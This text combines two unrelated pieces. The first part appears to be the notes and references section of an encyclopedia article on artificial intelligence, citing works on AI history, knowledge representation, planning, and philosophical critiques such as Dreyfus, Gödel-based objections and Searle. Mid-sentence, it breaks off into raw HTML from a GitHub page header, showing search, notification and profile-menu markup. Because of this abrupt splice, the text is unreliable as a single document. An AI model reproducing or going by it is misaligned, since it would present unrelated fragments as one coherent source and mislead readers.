3. McCorduck 2004, pp. 340–400. This is a central idea of Pamela McCorduck's Machines Who Think. She writes: "I like to think of artificial intelligence as the scientific apotheosis of a venerable cultural tradition."[26] "Artificial intelligence in one form or another is an idea that has pervaded Western intellectual history, a dream in urgent need of being realized."[27] "Our history is full of attempts—nutty, eerie, comical, earnest, legendary and real—to make artificial intelligences, to reproduce what is the essential us—bypassing the ordinary means. Back and forth between myth and reality, our imaginations supplying what our workshops couldn't, we have engaged for a long time in this odd form of self-reproduction."[28] She traces the desire back to its Hellenistic roots and calls it the urge to "forge the Gods."[29] "Stephen Hawking believes AI could be mankind's last accomplishment". BetaNews. 21 October 2016. Archived from the original on 28 August 2017. Lombardo P, Boehm I, Nairz K (2020). "RadioComics – Santa Claus and the future of radiology". Eur J Radiol. 122 (1): 108771. doi:10.1016/j.ejrad.2019.108771. PMID 31835078. Ford, Martin; Colvin, Geoff (6 September 2015). "Will robots create more jobs than they destroy?". The Guardian. Archived from the original on 16 June 2018. Retrieved 13 January 2018. AI applications widely used behind the scenes: * Russell & Norvig 2003, p. 28 * Kurzweil 2005, p. 265 * NRC 1999, pp. 216–222 * Newquist 1994, pp. 189–201 AI in myth: * McCorduck 2004, pp. 4–5 * Russell & Norvig 2003, p. 939 AI in early science fiction. * McCorduck 2004, pp. 17–25 Formal reasoning: * Berlinski, David (2000). The Advent of the Algorithm. Harcourt Books. ISBN 978-0-15-601391-8. OCLC 46890682. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Turing, Alan (1948), "Machine Intelligence", in Copeland, B. Jack (ed.), The Essential Turing: The ideas that gave birth to the computer age, Oxford: Oxford University Press, p. 412, ISBN 978-0-19-825080-7 Russell & Norvig 2009, p. 16. Dartmouth conference: * McCorduck 2004, pp. 111–136 * Crevier 1993, pp. 47–49, who writes "the conference is generally recognized as the official birthdate of the new science." * Russell & Norvig 2003, p. 17, who call the conference "the birth of artificial intelligence." * NRC 1999, pp. 200–201 McCarthy, John (1988). "Review of The Question of Artificial Intelligence". Annals of the History of Computing. 10 (3): 224–229., collected in McCarthy, John (1996). "10. Review of The Question of Artificial Intelligence". Defending AI Research: A Collection of Essays and Reviews. CSLI., p. 73, "[O]ne of the reasons for inventing the term "artificial intelligence" was to escape association with "cybernetics". Its concentration on analog feedback seemed misguided, and I wished to avoid having either to accept Norbert (not Robert) Wiener as a guru or having to argue with him." Hegemony of the Dartmouth conference attendees: * Russell & Norvig 2003, p. 17, who write "for the next 20 years the field would be dominated by these people and their students." * McCorduck 2004, pp. 129–130 Russell & Norvig 2003, p. 18. Schaeffer J. (2009) Didn't Samuel Solve That Game?. In: One Jump Ahead. Springer, Boston, MA Samuel, A. L. (July 1959). "Some Studies in Machine Learning Using the Game of Checkers". IBM Journal of Research and Development. 3 (3): 210–229. CiteSeerX 10.1.1.368.2254. doi:10.1147/rd.33.0210. "Golden years" of AI (successful symbolic reasoning programs 1956–1973): * McCorduck 2004, pp. 243–252 * Crevier 1993, pp. 52–107 * Moravec 1988, p. 9 * Russell & Norvig 2003, pp. 18–21 The programs described are Arthur Samuel's checkers program for the IBM 701, Daniel Bobrow's STUDENT, Newell and Simon's Logic Theorist and Terry Winograd's SHRDLU. DARPA pours money into undirected pure research into AI during the 1960s: * McCorduck 2004, p. 131 * Crevier 1993, pp. 51, 64–65 * NRC 1999, pp. 204–205 AI in England: * Howe 1994 Lighthill 1973. Expert systems: * ACM 1998, I.2.1 * Russell & Norvig 2003, pp. 22–24 * Luger & Stubblefield 2004, pp. 227–331 * Nilsson 1998, chpt. 17.4 * McCorduck 2004, pp. 327–335, 434–435 * Crevier 1993, pp. 145–62, 197–203 * Newquist 1994, pp. 155–183 Mead, Carver A.; Ismail, Mohammed (8 May 1989). Analog VLSI Implementation of Neural Systems (PDF). The Kluwer International Series in Engineering and Computer Science. 80. Norwell, MA: Kluwer Academic Publishers. doi:10.1007/978-1-4613-1639-8. ISBN 978-1-4613-1639-8. Archived from the original (PDF) on 6 November 2019. Retrieved 24 January 2020. Formal methods are now preferred ("Victory of the neats"): * Russell & Norvig 2003, pp. 25–26 * McCorduck 2004, pp. 486–487 McCorduck 2004, pp. 480–483. Markoff 2011. "Ask the AI experts: What's driving today's progress in AI?". McKinsey & Company. Archived from the original on 13 April 2018. Retrieved 13 April 2018. Administrator. "Kinect's AI breakthrough explained". i-programmer.info. Archived from the original on 1 February 2016. Rowinski, Dan (15 January 2013). "Virtual Personal Assistants & The Future Of Your Smartphone [Infographic]". ReadWrite. Archived from the original on 22 December 2015. "Artificial intelligence: Google's AlphaGo beats Go master Lee Se-dol". BBC News. 12 March 2016. Archived from the original on 26 August 2016. Retrieved 1 October 2016. Metz, Cade (27 May 2017). "After Win in China, AlphaGo's Designers Explore New AI". Wired. Archived from the original on 2 June 2017. "World's Go Player Ratings". May 2017. Archived from the original on 1 April 2017. "柯洁迎19岁生日 雄踞人类世界排名第一已两年" (in Chinese). May 2017. Archived from the original on 11 August 2017. Clark, Jack (8 December 2015). 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Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Problem solving, puzzle solving, game playing and deduction: * Russell & Norvig 2003, chpt. 3–9, * Poole, Mackworth & Goebel 1998, chpt. 2,3,7,9, * Luger & Stubblefield 2004, chpt. 3,4,6,8, * Nilsson 1998, chpt. 7–12 Uncertain reasoning: * Russell & Norvig 2003, pp. 452–644, * Poole, Mackworth & Goebel 1998, pp. 345–395, * Luger & Stubblefield 2004, pp. 333–381, * Nilsson 1998, chpt. 19 Psychological evidence of sub-symbolic reasoning: * Wason & Shapiro (1966) showed that people do poorly on completely abstract problems, but if the problem is restated to allow the use of intuitive social intelligence, performance dramatically improves. (See Wason selection task) * Kahneman, Slovic & Tversky (1982) have shown that people are terrible at elementary problems that involve uncertain reasoning. (See list of cognitive biases for several examples). * Lakoff & Núñez (2000) have controversially argued that even our skills at mathematics depend on knowledge and skills that come from "the body", i.e. sensorimotor and perceptual skills. (See Where Mathematics Comes From) Knowledge representation: * ACM 1998, I.2.4, * Russell & Norvig 2003, pp. 320–363, * Poole, Mackworth & Goebel 1998, pp. 23–46, 69–81, 169–196, 235–277, 281–298, 319–345, * Luger & Stubblefield 2004, pp. 227–243, * Nilsson 1998, chpt. 18 Knowledge engineering: * Russell & Norvig 2003, pp. 260–266, * Poole, Mackworth & Goebel 1998, pp. 199–233, * Nilsson 1998, chpt. ≈17.1–17.4 Representing categories and relations: Semantic networks, description logics, inheritance (including frames and scripts): * Russell & Norvig 2003, pp. 349–354, * Poole, Mackworth & Goebel 1998, pp. 174–177, * Luger & Stubblefield 2004, pp. 248–258, * Nilsson 1998, chpt. 18.3 Representing events and time:Situation calculus, event calculus, fluent calculus (including solving the frame problem): * Russell & Norvig 2003, pp. 328–341, * Poole, Mackworth & Goebel 1998, pp. 281–298, * Nilsson 1998, chpt. 18.2 Causal calculus: * Poole, Mackworth & Goebel 1998, pp. 335–337 Representing knowledge about knowledge: Belief calculus, modal logics: * Russell & Norvig 2003, pp. 341–344, * Poole, Mackworth & Goebel 1998, pp. 275–277 Sikos, Leslie F. (June 2017). Description Logics in Multimedia Reasoning. Cham: Springer. doi:10.1007/978-3-319-54066-5. ISBN 978-3-319-54066-5. S2CID 3180114. Archived from the original on 29 August 2017. Ontology: * Russell & Norvig 2003, pp. 320–328 Smoliar, Stephen W.; Zhang, HongJiang (1994). "Content based video indexing and retrieval". IEEE Multimedia. 1 (2): 62–72. doi:10.1109/93.311653. S2CID 32710913. Neumann, Bernd; Möller, Ralf (January 2008). "On scene interpretation with description logics". Image and Vision Computing. 26 (1): 82–101. doi:10.1016/j.imavis.2007.08.013. Kuperman, G. J.; Reichley, R. M.; Bailey, T. C. (1 July 2006). "Using Commercial Knowledge Bases for Clinical Decision Support: Opportunities, Hurdles, and Recommendations". Journal of the American Medical Informatics Association. 13 (4): 369–371. doi:10.1197/jamia.M2055. PMC 1513681. PMID 16622160. MCGARRY, KEN (1 December 2005). "A survey of interestingness measures for knowledge discovery". The Knowledge Engineering Review. 20 (1): 39–61. doi:10.1017/S0269888905000408. S2CID 14987656. Bertini, M; Del Bimbo, A; Torniai, C (2006). "Automatic annotation and semantic retrieval of video sequences using multimedia ontologies". MM '06 Proceedings of the 14th ACM international conference on Multimedia. 14th ACM international conference on Multimedia. Santa Barbara: ACM. pp. 679–682. Qualification problem: * McCarthy & Hayes 1969 * Russell & Norvig 2003[page needed] While McCarthy was primarily concerned with issues in the logical representation of actions, Russell & Norvig 2003 apply the term to the more general issue of default reasoning in the vast network of assumptions underlying all our commonsense knowledge. Default reasoning and default logic, non-monotonic logics, circumscription, closed world assumption, abduction (Poole et al. places abduction under "default reasoning". Luger et al. places this under "uncertain reasoning"): * Russell & Norvig 2003, pp. 354–360, * Poole, Mackworth & Goebel 1998, pp. 248–256, 323–335, * Luger & Stubblefield 2004, pp. 335–363, * Nilsson 1998, ~18.3.3 Breadth of commonsense knowledge: * Russell & Norvig 2003, p. 21, * Crevier 1993, pp. 113–114, * Moravec 1988, p. 13, * Lenat & Guha 1989 (Introduction) Dreyfus & Dreyfus 1986. Gladwell 2005. Expert knowledge as embodied intuition: * Dreyfus & Dreyfus 1986 (Hubert Dreyfus is a philosopher and critic of AI who was among the first to argue that most useful human knowledge was encoded sub-symbolically. See Dreyfus' critique of AI) * Gladwell 2005 (Gladwell's Blink is a popular introduction to sub-symbolic reasoning and knowledge.) * Hawkins & Blakeslee 2005 (Hawkins argues that sub-symbolic knowledge should be the primary focus of AI research.) Planning: * ACM 1998, ~I.2.8, * Russell & Norvig 2003, pp. 375–459, * Poole, Mackworth & Goebel 1998, pp. 281–316, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Information value theory: * Russell & Norvig 2003, pp. 600–604 Classical planning: * Russell & Norvig 2003, pp. 375–430, * Poole, Mackworth & Goebel 1998, pp. 281–315, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Planning and acting in non-deterministic domains: conditional planning, execution monitoring, replanning and continuous planning: * Russell & Norvig 2003, pp. 430–449 Multi-agent planning and emergent behavior: * Russell & Norvig 2003, pp. 449–455 Turing 1950. Solomonoff 1956. Alan Turing discussed the centrality of learning as early as 1950, in his classic paper "Computing Machinery and Intelligence".[120] In 1956, at the original Dartmouth AI summer conference, Ray Solomonoff wrote a report on unsupervised probabilistic machine learning: "An Inductive Inference Machine".[121] This is a form of Tom Mitchell's widely quoted definition of machine learning: "A computer program is set to learn from an experience E with respect to some task T and some performance measure P if its performance on T as measured by P improves with experience E." Learning: * ACM 1998, I.2.6, * Russell & Norvig 2003, pp. 649–788, * Poole, Mackworth & Goebel 1998, pp. 397–438, * Luger & Stubblefield 2004, pp. 385–542, * Nilsson 1998, chpt. 3.3, 10.3, 17.5, 20 Jordan, M. I.; Mitchell, T. M. (16 July 2015). "Machine learning: Trends, perspectives, and prospects". Science. 349 (6245): 255–260. Bibcode:2015Sci...349..255J. doi:10.1126/science.aaa8415. PMID 26185243. S2CID 677218. Reinforcement learning: * Russell & Norvig 2003, pp. 763–788 * Luger & Stubblefield 2004, pp. 442–449 Natural language processing: * ACM 1998, I.2.7 * Russell & Norvig 2003, pp. 790–831 * Poole, Mackworth & Goebel 1998, pp. 91–104 * Luger & Stubblefield 2004, pp. 591–632 "Versatile question answering systems: seeing in synthesis" Archived 1 February 2016 at the Wayback Machine, Mittal et al., IJIIDS, 5(2), 119–142, 2011 Applications of natural language processing, including information retrieval (i.e. text mining) and machine translation: * Russell & Norvig 2003, pp. 840–857, * Luger & Stubblefield 2004, pp. 623–630 Cambria, Erik; White, Bebo (May 2014). "Jumping NLP Curves: A Review of Natural Language Processing Research [Review Article]". IEEE Computational Intelligence Magazine. 9 (2): 48–57. doi:10.1109/MCI.2014.2307227. S2CID 206451986. Vincent, James (7 November 2019). "OpenAI has published the text-generating AI it said was too dangerous to share". The Verge. Archived from the original on 11 June 2020. Retrieved 11 June 2020. Machine perception: * Russell & Norvig 2003, pp. 537–581, 863–898 * Nilsson 1998, ~chpt. 6 Speech recognition: * ACM 1998, ~I.2.7 * Russell & Norvig 2003, pp. 568–578 Object recognition: * Russell & Norvig 2003, pp. 885–892 Computer vision: * ACM 1998, I.2.10 * Russell & Norvig 2003, pp. 863–898 * Nilsson 1998, chpt. 6 Robotics: * ACM 1998, I.2.9, * Russell & Norvig 2003, pp. 901–942, * Poole, Mackworth & Goebel 1998, pp. 443–460 Moving and configuration space: * Russell & Norvig 2003, pp. 916–932 Tecuci 2012. Robotic mapping (localization, etc): * Russell & Norvig 2003, pp. 908–915 Cadena, Cesar; Carlone, Luca; Carrillo, Henry; Latif, Yasir; Scaramuzza, Davide; Neira, Jose; Reid, Ian; Leonard, John J. (December 2016). "Past, Present, and Future of Simultaneous Localization and Mapping: Toward the Robust-Perception Age". IEEE Transactions on Robotics. 32 (6): 1309–1332. arXiv:1606.05830. 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Retrieved 26 April 2018. Domingos 2015. Artificial brain arguments: AI requires a simulation of the operation of the human brain * Russell & Norvig 2003, p. 957 * Crevier 1993, pp. 271 and 279 A few of the people who make some form of the argument: * Moravec 1988 * Kurzweil 2005, p. 262 * Hawkins & Blakeslee 2005 The most extreme form of this argument (the brain replacement scenario) was put forward by Clark Glymour in the mid-1970s and was touched on by Zenon Pylyshyn and John Searle in 1980. Goertzel, Ben; Lian, Ruiting; Arel, Itamar; de Garis, Hugo; Chen, Shuo (December 2010). "A world survey of artificial brain projects, Part II: Biologically inspired cognitive architectures". Neurocomputing. 74 (1–3): 30–49. doi:10.1016/j.neucom.2010.08.012. Nilsson 1983, p. 10. Nils Nilsson writes: "Simply put, there is wide disagreement in the field about what AI is all about."[163] AI's immediate precursors: * McCorduck 2004, pp. 51–107 * Crevier 1993, pp. 27–32 * Russell & Norvig 2003, pp. 15, 940 * Moravec 1988, p. 3 Haugeland 1985, pp. 112–117 The most dramatic case of sub-symbolic AI being pushed into the background was the devastating critique of perceptrons by Marvin Minsky and Seymour Papert in 1969. See History of AI, AI winter, or Frank Rosenblatt. Cognitive simulation, Newell and Simon, AI at CMU (then called Carnegie Tech): * McCorduck 2004, pp. 139–179, 245–250, 322–323 (EPAM) * Crevier 1993, pp. 145–149 Soar (history): * McCorduck 2004, pp. 450–451 * Crevier 1993, pp. 258–263 McCarthy and AI research at SAIL and SRI International: * McCorduck 2004, pp. 251–259 * Crevier 1993 AI research at Edinburgh and in France, birth of Prolog: * Crevier 1993, pp. 193–196 * Howe 1994 AI at MIT under Marvin Minsky in the 1960s : * McCorduck 2004, pp. 259–305 * Crevier 1993, pp. 83–102, 163–176 * Russell & Norvig 2003, p. 19 Cyc: * McCorduck 2004, p. 489, who calls it "a determinedly scruffy enterprise" * Crevier 1993, pp. 239–243 * Russell & Norvig 2003, p. 363−365 * Lenat & Guha 1989 Knowledge revolution: * McCorduck 2004, pp. 266–276, 298–300, 314, 421 * Russell & Norvig 2003, pp. 22–23 Frederick, Hayes-Roth; William, Murray; Leonard, Adelman. "Expert systems". AccessScience. doi:10.1036/1097-8542.248550. Embodied approaches to AI: * McCorduck 2004, pp. 454–462 * Brooks 1990 * Moravec 1988 Weng et al. 2001. Lungarella et al. 2003. Asada et al. 2009. Oudeyer 2010. Revival of connectionism: * Crevier 1993, pp. 214–215 * Russell & Norvig 2003, p. 25 Computational intelligence * IEEE Computational Intelligence Society Archived 9 May 2008 at the Wayback Machine Hutson, Matthew (16 February 2018). "Artificial intelligence faces reproducibility crisis". Science. pp. 725–726. Bibcode:2018Sci...359..725H. doi:10.1126/science.359.6377.725. Archived from the original on 29 April 2018. Retrieved 28 April 2018. Norvig 2012. Langley 2011. Katz 2012. The intelligent agent paradigm: * Russell & Norvig 2003, pp. 27, 32–58, 968–972 * Poole, Mackworth & Goebel 1998, pp. 7–21 * Luger & Stubblefield 2004, pp. 235–240 * Hutter 2005, pp. 125–126 The definition used in this article, in terms of goals, actions, perception and environment, is due to Russell & Norvig (2003). Other definitions also include knowledge and learning as additional criteria. Agent architectures, hybrid intelligent systems: * Russell & Norvig (2003, pp. 27, 932, 970–972) * Nilsson (1998, chpt. 25) Hierarchical control system: * Albus 2002 Lieto, Antonio; Lebiere, Christian; Oltramari, Alessandro (May 2018). "The knowledge level in cognitive architectures: Current limitations and possibile developments". Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Lieto, Antonio; Bhatt, Mehul; Oltramari, Alessandro; Vernon, David (May 2018). "The role of cognitive architectures in general artificial intelligence". Cognitive Systems Research. 48: 1–3. doi:10.1016/j.cogsys.2017.08.003. hdl:2318/1665249. S2CID 36189683. Russell & Norvig 2009, p. 1. White Paper: On Artificial Intelligence - A European approach to excellence and trust (PDF). Brussels: European Commission. 2020. p. 1. Archived (PDF) from the original on 20 February 2020. Retrieved 20 February 2020. CNN 2006. Using AI to predict flight delays Archived 20 November 2018 at the Wayback Machine, Ishti.org. N. Aletras; D. Tsarapatsanis; D. Preotiuc-Pietro; V. Lampos (2016). "Predicting judicial decisions of the European Court of Human Rights: a Natural Language Processing perspective". PeerJ Computer Science. 2: e93. doi:10.7717/peerj-cs.93. "The Economist Explains: Why firms are piling into artificial intelligence". The Economist. 31 March 2016. Archived from the original on 8 May 2016. Retrieved 19 May 2016. Lohr, Steve (28 February 2016). "The Promise of Artificial Intelligence Unfolds in Small Steps". The New York Times. Archived from the original on 29 February 2016. Retrieved 29 February 2016. Frangoul, Anmar (14 June 2019). "A Californian business is using A.I. to change the way we think about energy storage". CNBC. Archived from the original on 25 July 2020. Retrieved 5 November 2019. Wakefield, Jane (15 June 2016). "Social media 'outstrips TV' as news source for young people". BBC News. Archived from the original on 24 June 2016. Smith, Mark (22 July 2016). "So you think you chose to read this article?". BBC News. Archived from the original on 25 July 2016. Brown, Eileen. "Half of Americans do not believe deepfake news could target them online". ZDNet. Archived from the original on 6 November 2019. Retrieved 3 December 2019. The Turing test: Turing's original publication: * Turing 1950 Historical influence and philosophical implications: * Haugeland 1985, pp. 6–9 * Crevier 1993, p. 24 * McCorduck 2004, pp. 70–71 * Russell & Norvig 2003, pp. 2–3 and 948 Dartmouth proposal: * McCarthy et al. 1955 (the original proposal) * Crevier 1993, p. 49 (historical significance) The physical symbol systems hypothesis: * Newell & Simon 1976, p. 116 * McCorduck 2004, p. 153 * Russell & Norvig 2003, p. 18 Dreyfus 1992, p. 156. Dreyfus criticized the necessary condition of the physical symbol system hypothesis, which he called the "psychological assumption": "The mind can be viewed as a device operating on bits of information according to formal rules."[206] Dreyfus' critique of artificial intelligence: * Dreyfus 1972, Dreyfus & Dreyfus 1986 * Crevier 1993, pp. 120–132 * McCorduck 2004, pp. 211–239 * Russell & Norvig 2003, pp. 950–952, Gödel 1951: in this lecture, Kurt Gödel uses the incompleteness theorem to arrive at the following disjunction: (a) the human mind is not a consistent finite machine, or (b) there exist Diophantine equations for which it cannot decide whether solutions exist. Gödel finds (b) implausible, and thus seems to have believed the human mind was not equivalent to a finite machine, i.e., its power exceeded that of any finite machine. He recognized that this was only a conjecture, since one could never disprove (b). Yet he considered the disjunctive conclusion to be a "certain fact". The Mathematical Objection: * Russell & Norvig 2003, p. 949 * McCorduck 2004, pp. 448–449 Making the Mathematical Objection: * Lucas 1961 * Penrose 1989 Refuting Mathematical Objection: * Turing 1950 under "(2) The Mathematical Objection" * Hofstadter 1979 Background: * Gödel 1931, Church 1936, Kleene 1935, Turing 1937 Graham Oppy (20 January 2015). "Gödel's Incompleteness Theorems". Stanford Encyclopedia of Philosophy. Archived from the original on 22 April 2016. Retrieved 27 April 2016. These Gödelian anti-mechanist arguments are, however, problematic, and there is wide consensus that they fail. Stuart J. Russell; Peter Norvig (2010). "26.1.2: Philosophical Foundations/Weak AI: Can Machines Act Intelligently?/The mathematical objection". Artificial Intelligence: A Modern Approach (3rd ed.). Upper Saddle River, NJ: Prentice Hall. ISBN 978-0-13-604259-4. even if we grant that computers have limitations on what they can prove, there is no evidence that humans are immune from those limitations. Mark Colyvan. An introduction to the philosophy of mathematics. Cambridge University Press, 2012. From 2.2.2, 'Philosophical significance of Gödel's incompleteness results': "The accepted wisdom (with which I concur) is that the Lucas-Penrose arguments fail." Iphofen, Ron; Kritikos, Mihalis (3 January 2019). "Regulating artificial intelligence and robotics: ethics by design in a digital society". Contemporary Social Science: 1–15. doi:10.1080/21582041.2018.1563803. ISSN 2158-2041. "Ethical AI Learns Human Rights Framework". Voice of America. Archived from the original on 11 November 2019. Retrieved 10 November 2019. Crevier 1993, pp. 132–144. In the early 1970s, Kenneth Colby presented a version of Weizenbaum's ELIZA known as DOCTOR which he promoted as a serious therapeutic tool.[216] Joseph Weizenbaum's critique of AI: * Weizenbaum 1976 * Crevier 1993, pp. 132–144 * McCorduck 2004, pp. 356–373 * Russell & Norvig 2003, p. 961 Weizenbaum (the AI researcher who developed the first chatterbot program, ELIZA) argued in 1976 that the misuse of artificial intelligence has the potential to devalue human life. Wendell Wallach (2010). Moral Machines, Oxford University Press. Wallach, pp 37–54. Wallach, pp 55–73. Wallach, Introduction chapter. Michael Anderson and Susan Leigh Anderson (2011), Machine Ethics, Cambridge University Press. "Machine Ethics". aaai.org. Archived from the original on 29 November 2014. Rubin, Charles (Spring 2003). "Artificial Intelligence and Human Nature". The New Atlantis. 1: 88–100. Archived from the original on 11 June 2012. Brooks, Rodney (10 November 2014). "artificial intelligence is a tool, not a threat". Archived from the original on 12 November 2014. "Stephen Hawking, Elon Musk, and Bill Gates Warn About Artificial Intelligence". Observer. 19 August 2015. Archived from the original on 30 October 2015. Retrieved 30 October 2015. Chalmers, David (1995). "Facing up to the problem of consciousness". Journal of Consciousness Studies. 2 (3): 200–219. Archived from the original on 8 March 2005. Retrieved 11 October 2018. See also this link Archived 8 April 2011 at the Wayback Machine Horst, Steven, (2005) "The Computational Theory of Mind" Archived 11 September 2018 at the Wayback Machine in The Stanford Encyclopedia of Philosophy Searle 1980, p. 1. This version is from Searle (1999), and is also quoted in Dennett 1991, p. 435. Searle's original formulation was "The appropriately programmed computer really is a mind, in the sense that computers given the right programs can be literally said to understand and have other cognitive states." [230] Strong AI is defined similarly by Russell & Norvig (2003, p. 947): "The assertion that machines could possibly act intelligently
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site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" 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0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 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1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark 